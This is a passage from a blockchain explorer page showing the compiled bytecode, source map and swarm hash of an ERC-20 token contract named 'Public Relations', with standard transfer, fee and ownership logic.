1660009081526003602052604090205460ff165b15610bf15760009150610c23565b60078054610100900460ff16906001610c09836111f4565b91906101000a81548160ff021916908360ff160217905550505b610c308585858585610cf7565b5050505050565b60008184841115610c5b5760405162461bcd60e51b815260040161062f9190611024565b505050900390565b600061076f82846111dc565b600d805460ff60a01b1916600160a01b17905530600090815260016020526040902054610c9d908290611213565b30600090815260016020526040808220929092556005546001600160a01b031681522054610ccc9082906111dc565b6005546001600160a01b031660009081526001602052604090205550600d805460ff60a01b19169055565b8015610e3757600754600090610d2f90606490610d179060ff168761119b565b610d2191906111ba565b610d29610ff1565b90611018565b6001600160a01b0387166000908152600160205260409020549091508490610d58908290611213565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610d889082906111dc565b6001600160a01b038716600090815260016020526040808220929092553081522054610db59083906111dc565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b03871601610e305780600654610e2c9190611213565b6006555b5050610c30565b81610f16576001600160a01b038516600090815260016020526040902054610e60908490611213565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610e909084906111dc565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee49087815260200190565b60405180910390a361deac196001600160a01b03851601610f115782600654610f0d9190611213565b6006555b610c30565b6001600160a01b038516600090815260016020526040902054610f3a908490611213565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610f6a9084906111dc565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fbe9087815260200190565b60405180910390a361deac196001600160a01b03851601610c305782600654610fe79190611213565b6006555050505050565b6000611007600a61100160065490565b90610763565b61101390600019611213565b905090565b600061076f8284611213565b600060208083528351808285015260005b8181101561105157858101830151858201604001528201611035565b81811115611063576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461109057600080fd5b919050565b600080604083850312156110a857600080fd5b6110b183611079565b946020939093013593505050565b6000806000606084860312156110d457600080fd5b6110dd84611079565b92506110eb60208501611079565b9150604084013590509250925092565b60006020828403121561110d57600080fd5b61076f82611079565b6000806040838503121561112957600080fd5b61113283611079565b915061114060208401611079565b90509250929050565b6000806040838503121561115c57600080fd5b61116583611079565b91506020830135801515811461117a57600080fd5b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156111b5576111b5611185565b500290565b6000826111d757634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156111ef576111ef611185565b500190565b600060ff821660ff810361120a5761120a611185565b60010192915050565b60008282101561122557611225611185565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bc53efe39e4b49072c44298120e69eb704e01c670e940e1e9fe399913f559cd364736f6c634300080d0033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d157806380f2c1671161008a578063a457c2d711610064578063a457c2d71461047e578063a9059cbb1461049e578063dd62ed3e146104be578063fc2eb8891461050457600080fd5b806380f2c167146104155780638da5cb5b1461043557806395d89b411461045357600080fd5b8063715018a614610372578063768dc7101461038957806378109e54146103b95780637cc9c3d6146103cf5780637d1db4a5146103e9578063805c0e0f146103ff57600080fd5b8063313ce56711610123578063313ce5671461028957806339509351146102ab57806349bd5a5e146102cb5780634a74bb02146102eb5780636c9bb93b1461030c57806370a082311461033c57600080fd5b806306fdde0314610176578063095ea7b3146101c15780631694505e146101f157806318160ddd14610229578063220f66961461024857806323b872dd1461026957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152601081526f5075626c69632052656c6174696f6e7360801b60208201525b6040516101b89190611024565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc366004611095565b610524565b60405190151581526020016101b8565b3480156101fd57600080fd5b50600c54610211906001600160a01b031681565b6040516001600160a01b0390911681526020016101b8565b34801561023557600080fd5b506006545b6040519081526020016101b8565b34801561025457600080fd5b50600d546101e190600160a01b900460ff1681565b34801561027557600080fd5b506101e16102843660046110bf565b61053a565b34801561029557600080fd5b5060095b60405160ff90911681526020016101b8565b3480156102b757600080fd5b506101e16102c6366004611095565b6105a3565b3480156102d757600080fd5b50600d54610211906001600160a01b031681565b3480156102f757600080fd5b50600d546101e190600160a81b900460ff1681565b34801561031857600080fd5b506101e16103273660046110fb565b60046020526000908152604090205460ff1681565b34801561034857600080fd5b5061023a6103573660046110fb565b6001600160a01b031660009081526001602052604090205490565b34801561037e57600080fd5b506103876105d9565b005b34801561039557600080fd5b506101e16103a43660046110fb565b60036020526000908152604090205460ff1681565b3480156103c557600080fd5b5061023a60085481565b3480156103db57600080fd5b506007546102999060ff1681565b3480156103f557600080fd5b5061023a600a5481565b34801561040b57600080fd5b5061021161dead81565b34801561042157600080fd5b50600554610211906001600160a01b031681565b34801561044157600080fd5b506000546001600160a01b0316610211565b34801561045f57600080fd5b50604080518082019091526002815261282960f11b60208201526101ab565b34801561048a57600080fd5b506101e1610499366004611095565b610682565b3480156104aa57600080fd5b506101e16104b9366004611095565b6106d1565b3480156104ca57600080fd5b5061023a6104d9366004611116565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051057600080fd5b5061038761051f366004611149565b6106de565b6000610531338484610782565b50600192915050565b6000610547848484610843565b61059984336105948560405180606001604052806028815260200161122b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c37565b610782565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105319185906105949086610c63565b6000546001600160a01b031633146106385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610531338461059485604051806060016040528060258152602001611253602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c37565b6000610531338484610843565b6000546001600160a01b031633146107385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161062f565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600061076f828461119b565b9392505050565b600061076f82846111ba565b6001600160a01b038316158015906107a257506001600160a01b03821615155b6107e25760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161062f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061086c57506001600160a01b03821661dead14155b801561088157506001600160a01b0382163014155b801561089b5750600d546001600160a01b03838116911614155b80156108b557506000546001600160a01b03848116911614155b80156108da57506001600160a01b03831660009081526003602052604090205460ff16155b80156108ff57506001600160a01b03821660009081526003602052604090205460ff16155b1561096f576001600160a01b03821660009081526001602052604090205460085461092a83836111dc565b111561096d5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b604482015260640161062f565b505b6000546001600160a01b038481169116148015906109a657506001600160a01b03831660009081526003602052604090205460ff16155b80156109cb57506001600160a01b03821660009081526003602052604090205460ff16155b15610a2257600a54811115610a225760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e000000000000000000604482015260640161062f565b6001600160a01b03831615801590610a4257506001600160a01b03821615155b610a865760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161062f565b60008111610ae45760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161062f565b600d54600160a81b900460ff168015610b0e5750600a543060009081526001602052604090205410155b15610b37576007805461ff001916905530600090815260016020526040902054610b3790610c6f565b600d546001906000906001600160a01b03868116911614801590610b7357506001600160a01b03851660009081526004602052604090205460ff165b8015610b9757506001600160a01b03841660009081526003602052604090205460ff165b15610ba457506001610c23565b6001600160a01b03851660009081526003602052604090205460ff1680610be357506001600160a01b03841660009081526003602052604090205460ff165b15610bf15760009150610c23565b60078054610100900460ff16906001610c09836111f4565b91906101000a81548160ff021916908360ff160217905550505b610c308585858585610cf7565b5050505050565b60008184841115610c5b5760405162461bcd60e51b815260040161062f9190611024565b505050900390565b600061076f82846111dc565b600d805460ff60a01b1916600160a01b17905530600090815260016020526040902054610c9d908290611213565b30600090815260016020526040808220929092556005546001600160a01b031681522054610ccc9082906111dc565b6005546001600160a01b031660009081526001602052604090205550600d805460ff60a01b19169055565b8015610e3757600754600090610d2f90606490610d179060ff168761119b565b610d2191906111ba565b610d29610ff1565b90611018565b6001600160a01b0387166000908152600160205260409020549091508490610d58908290611213565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610d889082906111dc565b6001600160a01b038716600090815260016020526040808220929092553081522054610db59083906111dc565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b03871601610e305780600654610e2c9190611213565b6006555b5050610c30565b81610f16576001600160a01b038516600090815260016020526040902054610e60908490611213565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610e909084906111dc565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee49087815260200190565b60405180910390a361deac196001600160a01b03851601610f115782600654610f0d9190611213565b6006555b610c30565b6001600160a01b038516600090815260016020526040902054610f3a908490611213565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610f6a9084906111dc565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fbe9087815260200190565b60405180910390a361deac196001600160a01b03851601610c305782600654610fe79190611213565b6006555050505050565b6000611007600a61100160065490565b90610763565b61101390600019611213565b905090565b600061076f8284611213565b600060208083528351808285015260005b8181101561105157858101830151858201604001528201611035565b81811115611063576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461109057600080fd5b919050565b600080604083850312156110a857600080fd5b6110b183611079565b946020939093013593505050565b6000806000606084860312156110d457600080fd5b6110dd84611079565b92506110eb60208501611079565b9150604084013590509250925092565b60006020828403121561110d57600080fd5b61076f82611079565b6000806040838503121561112957600080fd5b61113283611079565b915061114060208401611079565b90509250929050565b6000806040838503121561115c57600080fd5b61116583611079565b91506020830135801515811461117a57600080fd5b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156111b5576111b5611185565b500290565b6000826111d757634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156111ef576111ef611185565b500190565b600060ff821660ff810361120a5761120a611185565b60010192915050565b60008282101561122557611225611185565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bc53efe39e4b49072c44298120e69eb704e01c670e940e1e9fe399913f559cd364736f6c634300080d0033

Deployed Bytecode Sourcemap

13099:9445:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16071:83;;;;;;;;;;-1:-1:-1;16141:5:0;;;;;;;;;;;;-1:-1:-1;;;16141:5:0;;;;16071:83;;;;;;;:::i;:::-;;;;;;;;16914:161;;;;;;;;;;-1:-1:-1;16914:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;16914:161:0;1053:187:1;14853:41:0;;;;;;;;;;-1:-1:-1;14853:41:0;;;;-1:-1:-1;;;;;14853:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;14853:41:0;1245:230:1;16348:95:0;;;;;;;;;;-1:-1:-1;16428:7:0;;16348:95;;;1626:25:1;;;1614:2;1599:18;16348:95:0;1480:177:1;14936:28:0;;;;;;;;;;-1:-1:-1;14936:28:0;;;;-1:-1:-1;;;14936:28:0;;;;;;17083:313;;;;;;;;;;-1:-1:-1;17083:313:0;;;;;:::i;:::-;;:::i;16257:83::-;;;;;;;;;;-1:-1:-1;14251:1:0;16257:83;;;2167:4:1;2155:17;;;2137:36;;2125:2;2110:18;16257:83:0;1995:184:1;17404:218:0;;;;;;;;;;-1:-1:-1;17404:218:0;;;;;:::i;:::-;;:::i;14901:28::-;;;;;;;;;;-1:-1:-1;14901:28:0;;;;-1:-1:-1;;;;;14901:28:0;;;14971:40;;;;;;;;;;-1:-1:-1;14971:40:0;;;;-1:-1:-1;;;14971:40:0;;;;;;13904:47;;;;;;;;;;-1:-1:-1;13904:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16451:117;;;;;;;;;;-1:-1:-1;16451:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;16544:16:0;16517:7;16544:16;;;:7;:16;;;;;;;16451:117;13564:147;;;;;;;;;;;;;:::i;:::-;;13846:51;;;;;;;;;;-1:-1:-1;13846:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14538:56;;;;;;;;;;;;;;;;14429:28;;;;;;;;;;-1:-1:-1;14429:28:0;;;;;;;;14667:53;;;;;;;;;;;;;;;;14060:97;;;;;;;;;;;;14114:42;14060:97;;13964:88;;;;;;;;;;-1:-1:-1;13964:88:0;;;;-1:-1:-1;;;;;13964:88:0;;;13341:87;;;;;;;;;;-1:-1:-1;13387:7:0;13414:6;-1:-1:-1;;;;;13414:6:0;13341:87;;16162;;;;;;;;;;-1:-1:-1;16234:7:0;;;;;;;;;;;;-1:-1:-1;;;16234:7:0;;;;16162:87;;17926:269;;;;;;;;;;-1:-1:-1;17926:269:0;;;;;:::i;:::-;;:::i;16576:167::-;;;;;;;;;;-1:-1:-1;16576:167:0;;;;;:::i;:::-;;:::i;16751:155::-;;;;;;;;;;-1:-1:-1;16751:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;16865:21:0;;;16838:7;16865:21;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;16751:155;18428:136;;;;;;;;;;-1:-1:-1;18428:136:0;;;;;:::i;:::-;;:::i;16914:161::-;16989:4;17006:39;1812:10;17029:7;17038:6;17006:8;:39::i;:::-;-1:-1:-1;17063:4:0;16914:161;;;;:::o;17083:313::-;17181:4;17198:36;17208:6;17216:9;17227:6;17198:9;:36::i;:::-;17245:121;17254:6;1812:10;17276:89;17314:6;17276:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17276:19:0;;;;;;:11;:19;;;;;;;;1812:10;17276:33;;;;;;;;;;:37;:89::i;:::-;17245:8;:121::i;:::-;-1:-1:-1;17384:4:0;17083:313;;;;;:::o;17404:218::-;1812:10;17492:4;17541:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17541:34:0;;;;;;;;;;17492:4;;17509:83;;17532:7;;17541:50;;17580:10;17541:38;:50::i;13564:147::-;13387:7;13414:6;-1:-1:-1;;;;;13414:6:0;1812:10;13476:23;13468:68;;;;-1:-1:-1;;;13468:68:0;;3626:2:1;13468:68:0;;;3608:21:1;;;3645:18;;;3638:30;3704:34;3684:18;;;3677:62;3756:18;;13468:68:0;;;;;;;;;13670:1:::1;13654:6:::0;;13633:40:::1;::::0;-1:-1:-1;;;;;13654:6:0;;::::1;::::0;13633:40:::1;::::0;13670:1;;13633:40:::1;13701:1;13684:19:::0;;-1:-1:-1;;;;;;13684:19:0::1;::::0;;13564:147::o;17926:269::-;18019:4;18036:129;1812:10;18059:7;18068:96;18107:15;18068:96;;;;;;;;;;;;;;;;;1812:10;18068:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18068:34:0;;;;;;;;;;;;:38;:96::i;16576:167::-;16654:4;16671:42;1812:10;16695:9;16706:6;16671:9;:42::i;18428:136::-;13387:7;13414:6;-1:-1:-1;;;;;13414:6:0;1812:10;13476:23;13468:68;;;;-1:-1:-1;;;13468:68:0;;3626:2:1;13468:68:0;;;3608:21:1;;;3645:18;;;3638:30;3704:34;3684:18;;;3677:62;3756:18;;13468:68:0;3424:356:1;13468:68:0;-1:-1:-1;;;;;18521:27:0;;;::::1;;::::0;;;:14:::1;:27;::::0;;;;:35;;-1:-1:-1;;18521:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18428:136::o;1047:98::-;1105:7;1132:5;1136:1;1132;:5;:::i;:::-;1125:12;1047:98;-1:-1:-1;;;1047:98:0:o;1157:::-;1215:7;1242:5;1246:1;1242;:5;:::i;17630:288::-;-1:-1:-1;;;;;17729:22:0;;;;;;:50;;-1:-1:-1;;;;;;17755:24:0;;;;17729:50;17721:80;;;;-1:-1:-1;;;17721:80:0;;4514:2:1;17721:80:0;;;4496:21:1;4553:2;4533:18;;;4526:30;-1:-1:-1;;;4572:18:1;;;4565:47;4629:18;;17721:80:0;4312:341:1;17721:80:0;-1:-1:-1;;;;;17812:21:0;;;;;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;:42;;;17870:38;;1626:25:1;;;17870:38:0;;1599:18:1;17870:38:0;;;;;;;17630:288;;;:::o;18613:1449::-;13387:7;13414:6;-1:-1:-1;;;;;18733:13:0;;;13414:6;;18733:13;;;;:47;;-1:-1:-1;;;;;;18763:17:0;;14114:42;18763:17;;18733:47;:83;;;;-1:-1:-1;;;;;;18797:19:0;;18811:4;18797:19;;18733:83;:119;;;;-1:-1:-1;18839:13:0;;-1:-1:-1;;;;;18833:19:0;;;18839:13;;18833:19;;18733:119;:151;;;;-1:-1:-1;13387:7:0;13414:6;-1:-1:-1;;;;;18869:15:0;;;13414:6;;18869:15;;18733:151;:193;;;;-1:-1:-1;;;;;;18902:24:0;;;;;;:18;:24;;;;;;;;18901:25;18733:193;:234;;;;-1:-1:-1;;;;;;18945:22:0;;;;;;:18;:22;;;;;;;;18944:23;18733:234;18729:375;;;-1:-1:-1;;;;;16544:16:0;;18983:18;16544:16;;;:7;:16;;;;;;19065:15;;19041:19;19054:6;16544:16;19041:19;:::i;:::-;19040:40;;19032:70;;;;-1:-1:-1;;;19032:70:0;;4993:2:1;19032:70:0;;;4975:21:1;5032:2;5012:18;;;5005:30;-1:-1:-1;;;5051:18:1;;;5044:48;5109:18;;19032:70:0;4791:342:1;19032:70:0;18968:136;18729:375;13387:7;13414:6;-1:-1:-1;;;;;19120:15:0;;;13414:6;;19120:15;;;;:44;;-1:-1:-1;;;;;;19140:24:0;;;;;;:18;:24;;;;;;;;19139:25;19120:44;:71;;;;-1:-1:-1;;;;;;19169:22:0;;;;;;:18;:22;;;;;;;;19168:23;19120:71;19116:148;;;19224:12;;19214:6;:22;;19206:58;;;;-1:-1:-1;;;19206:58:0;;5340:2:1;19206:58:0;;;5322:21:1;5379:2;5359:18;;;5352:30;5418:25;5398:18;;;5391:53;5461:18;;19206:58:0;5138:347:1;19206:58:0;-1:-1:-1;;;;;19285:18:0;;;;;;:38;;-1:-1:-1;;;;;;19307:16:0;;;;19285:38;19277:72;;;;-1:-1:-1;;;19277:72:0;;5692:2:1;19277:72:0;;;5674:21:1;5731:2;5711:18;;;5704:30;-1:-1:-1;;;5750:18:1;;;5743:51;5811:18;;19277:72:0;5490:345:1;19277:72:0;19377:1;19368:6;:10;19360:60;;;;-1:-1:-1;;;19360:60:0;;6042:2:1;19360:60:0;;;6024:21:1;6081:2;6061:18;;;6054:30;6120:34;6100:18;;;6093:62;-1:-1:-1;;;6171:18:1;;;6164:35;6216:19;;19360:60:0;5840:401:1;19360:60:0;19457:21;;-1:-1:-1;;;19457:21:0;;;;:65;;;;-1:-1:-1;19510:12:0;;19500:4;16517:7;16544:16;;;:7;:16;;;;;;19482:40;;19457:65;19454:174;;;19550:7;:11;;-1:-1:-1;;19550:11:0;;;19609:4;-1:-1:-1;16544:16:0;;;-1:-1:-1;16544:16:0;;;;;;19576:40;;:14;:40::i;:::-;19713:13;;19663:4;;19648:12;;-1:-1:-1;;;;;19705:21:0;;;19713:13;;19705:21;;;;:58;;-1:-1:-1;;;;;;19743:20:0;;;;;;:14;:20;;;;;;;;19705:58;:98;;;;-1:-1:-1;;;;;;19781:22:0;;;;;;:18;:22;;;;;;;;19705:98;19701:293;;;-1:-1:-1;19827:4:0;19701:293;;;-1:-1:-1;;;;;19851:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;19879:22:0;;;;;;:18;:22;;;;;;;;19851:50;19848:146;;;19927:5;19917:15;;19848:146;;;19973:7;:9;;;;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;19848:146;20006:48;20021:4;20027:2;20031:6;20039:7;20048:5;20006:14;:48::i;:::-;18716:1346;;18613:1449;;;:::o;1263:206::-;1349:7;1410:12;1402:6;;;;1394:29;;;;-1:-1:-1;;;1394:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1445:5:0;;;1263:206::o;835:98::-;893:7;920:5;924:1;920;:5;:::i;20194:232::-;15256:16;:23;;-1:-1:-1;;;;15256:23:0;-1:-1:-1;;;15256:23:0;;;20318:4:::1;15256:23:::0;20302:22;;;15275:4;20302:22:::1;::::0;;;;;:43:::1;::::0;20325:20;;20302:43:::1;:::i;:::-;20295:4;20279:22;::::0;;;:7:::1;:22;::::0;;;;;:66;;;;20385:11:::1;::::0;-1:-1:-1;;;;;20385:11:0::1;20377:20:::0;;;;:41:::1;::::0;20398:20;;20377:41:::1;:::i;:::-;20364:11;::::0;-1:-1:-1;;;;;20364:11:0::1;20356:20;::::0;;;:7:::1;:20;::::0;;;;:62;-1:-1:-1;15302:16:0;:24;;-1:-1:-1;;;;15302:24:0;;;20194:232::o;21289:1248::-;21425:5;21421:1107;;;21493:11;;21446:14;;21463:46;;21505:3;;21485:19;;21493:11;;21485:7;:19;:::i;:::-;:23;;;;:::i;:::-;21463:17;:15;:17::i;:::-;:21;;:46::i;:::-;-1:-1:-1;;;;;21592:15:0;;21524:23;21592:15;;;:7;:15;;;;;;21446:63;;-1:-1:-1;21550:7:0;;21592:23;;21550:7;;21592:23;:::i;:::-;-1:-1:-1;;;;;21574:15:0;;;;;;;:7;:15;;;;;;:41;;;;21651:18;;;;;;;:34;;21670:15;;21651:34;:::i;:::-;-1:-1:-1;;;;;21630:18:0;;;;;;:7;:18;;;;;;:55;;;;21741:4;21725:22;;;;:29;;21748:6;;21725:29;:::i;:::-;21716:4;21700:22;;;;:7;:22;;;;;;;;;:54;;;;21774:44;1626:25:1;;;-1:-1:-1;;;;;21774:44:0;;;;;;;;;;1599:18:1;21774:44:0;;;;;;;-1:-1:-1;;;;;;;21838:24:0;;;21835:75;;21895:15;21887:7;;:23;;;;:::i;:::-;21877:7;:33;21835:75;21431:509;;21421:1107;;;21960:7;21956:572;;-1:-1:-1;;;;;22001:15:0;;;;;;:7;:15;;;;;;:23;;22017:7;;22001:23;:::i;:::-;-1:-1:-1;;;;;21983:15:0;;;;;;;:7;:15;;;;;;:41;;;;22060:18;;;;;;;:26;;22079:7;;22060:26;:::i;:::-;-1:-1:-1;;;;;22039:18:0;;;;;;;:7;:18;;;;;;;:47;;;;22106:36;;;;;;;;;;22134:7;1626:25:1;;1614:2;1599:18;;1480:177;22106:36:0;;;;;;;;-1:-1:-1;;;;;;;22162:24:0;;;22159:67;;22219:7;22211;;:15;;;;:::i;:::-;22201:7;:25;22159:67;21956:572;;;-1:-1:-1;;;;;22285:15:0;;;;;;:7;:15;;;;;;:23;;22301:7;;22285:23;:::i;:::-;-1:-1:-1;;;;;22267:15:0;;;;;;;:7;:15;;;;;;:41;;;;22344:18;;;;;;;:26;;22363:7;;22344:26;:::i;:::-;-1:-1:-1;;;;;22323:18:0;;;;;;;:7;:18;;;;;;;:47;;;;22390:36;;;;;;;;;;22418:7;1626:25:1;;1614:2;1599:18;;1480:177;22390:36:0;;;;;;;;-1:-1:-1;;;;;;;22446:24:0;;;22443:67;;22503:7;22495;;:15;;;;:::i;:::-;22485:7;:25;21289:1248;;;;;:::o;18203:115::-;18251:7;18283:27;18307:2;18283:19;16428:7;;;16348:95;18283:19;:23;;:27::i;:::-;18277:33;;-1:-1:-1;;18277:33:0;:::i;:::-;18270:40;;18203:115;:::o;941:98::-;999:7;1026:5;1030:1;1026;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:328::-;1739:6;1747;1755;1808:2;1796:9;1787:7;1783:23;1779:32;1776:52;;;1824:1;1821;1814:12;1776:52;1847:29;1866:9;1847:29;:::i;:::-;1837:39;;1895:38;1929:2;1918:9;1914:18;1895:38;:::i;:::-;1885:48;;1980:2;1969:9;1965:18;1952:32;1942:42;;1662:328;;;;;:::o;2392:186::-;2451:6;2504:2;2492:9;2483:7;2479:23;2475:32;2472:52;;;2520:1;2517;2510:12;2472:52;2543:29;2562:9;2543:29;:::i;2807:260::-;2875:6;2883;2936:2;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2975:29;2994:9;2975:29;:::i;:::-;2965:39;;3023:38;3057:2;3046:9;3042:18;3023:38;:::i;:::-;3013:48;;2807:260;;;;;:::o;3072:347::-;3137:6;3145;3198:2;3186:9;3177:7;3173:23;3169:32;3166:52;;;3214:1;3211;3204:12;3166:52;3237:29;3256:9;3237:29;:::i;:::-;3227:39;;3316:2;3305:9;3301:18;3288:32;3363:5;3356:13;3349:21;3342:5;3339:32;3329:60;;3385:1;3382;3375:12;3329:60;3408:5;3398:15;;;3072:347;;;;;:::o;3785:127::-;3846:10;3841:3;3837:20;3834:1;3827:31;3877:4;3874:1;3867:15;3901:4;3898:1;3891:15;3917:168;3957:7;4023:1;4019;4015:6;4011:14;4008:1;4005:21;4000:1;3993:9;3986:17;3982:45;3979:71;;;4030:18;;:::i;:::-;-1:-1:-1;4070:9:1;;3917:168::o;4090:217::-;4130:1;4156;4146:132;;4200:10;4195:3;4191:20;4188:1;4181:31;4235:4;4232:1;4225:15;4263:4;4260:1;4253:15;4146:132;-1:-1:-1;4292:9:1;;4090:217::o;4658:128::-;4698:3;4729:1;4725:6;4722:1;4719:13;4716:39;;;4735:18;;:::i;:::-;-1:-1:-1;4771:9:1;;4658:128::o;6246:175::-;6283:3;6327:4;6320:5;6316:16;6356:4;6347:7;6344:17;6341:43;;6364:18;;:::i;:::-;6413:1;6400:15;;6246:175;-1:-1:-1;;6246:175:1:o;6426:125::-;6466:4;6494:1;6491;6488:8;6485:34;;;6499:18;;:::i;:::-;-1:-1:-1;6536:9:1;;6426:125::o

Swarm Source

ipfs://bc53efe39e4b49072c44298120e69eb704e01c670e940e1e9fe399913f559cd3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.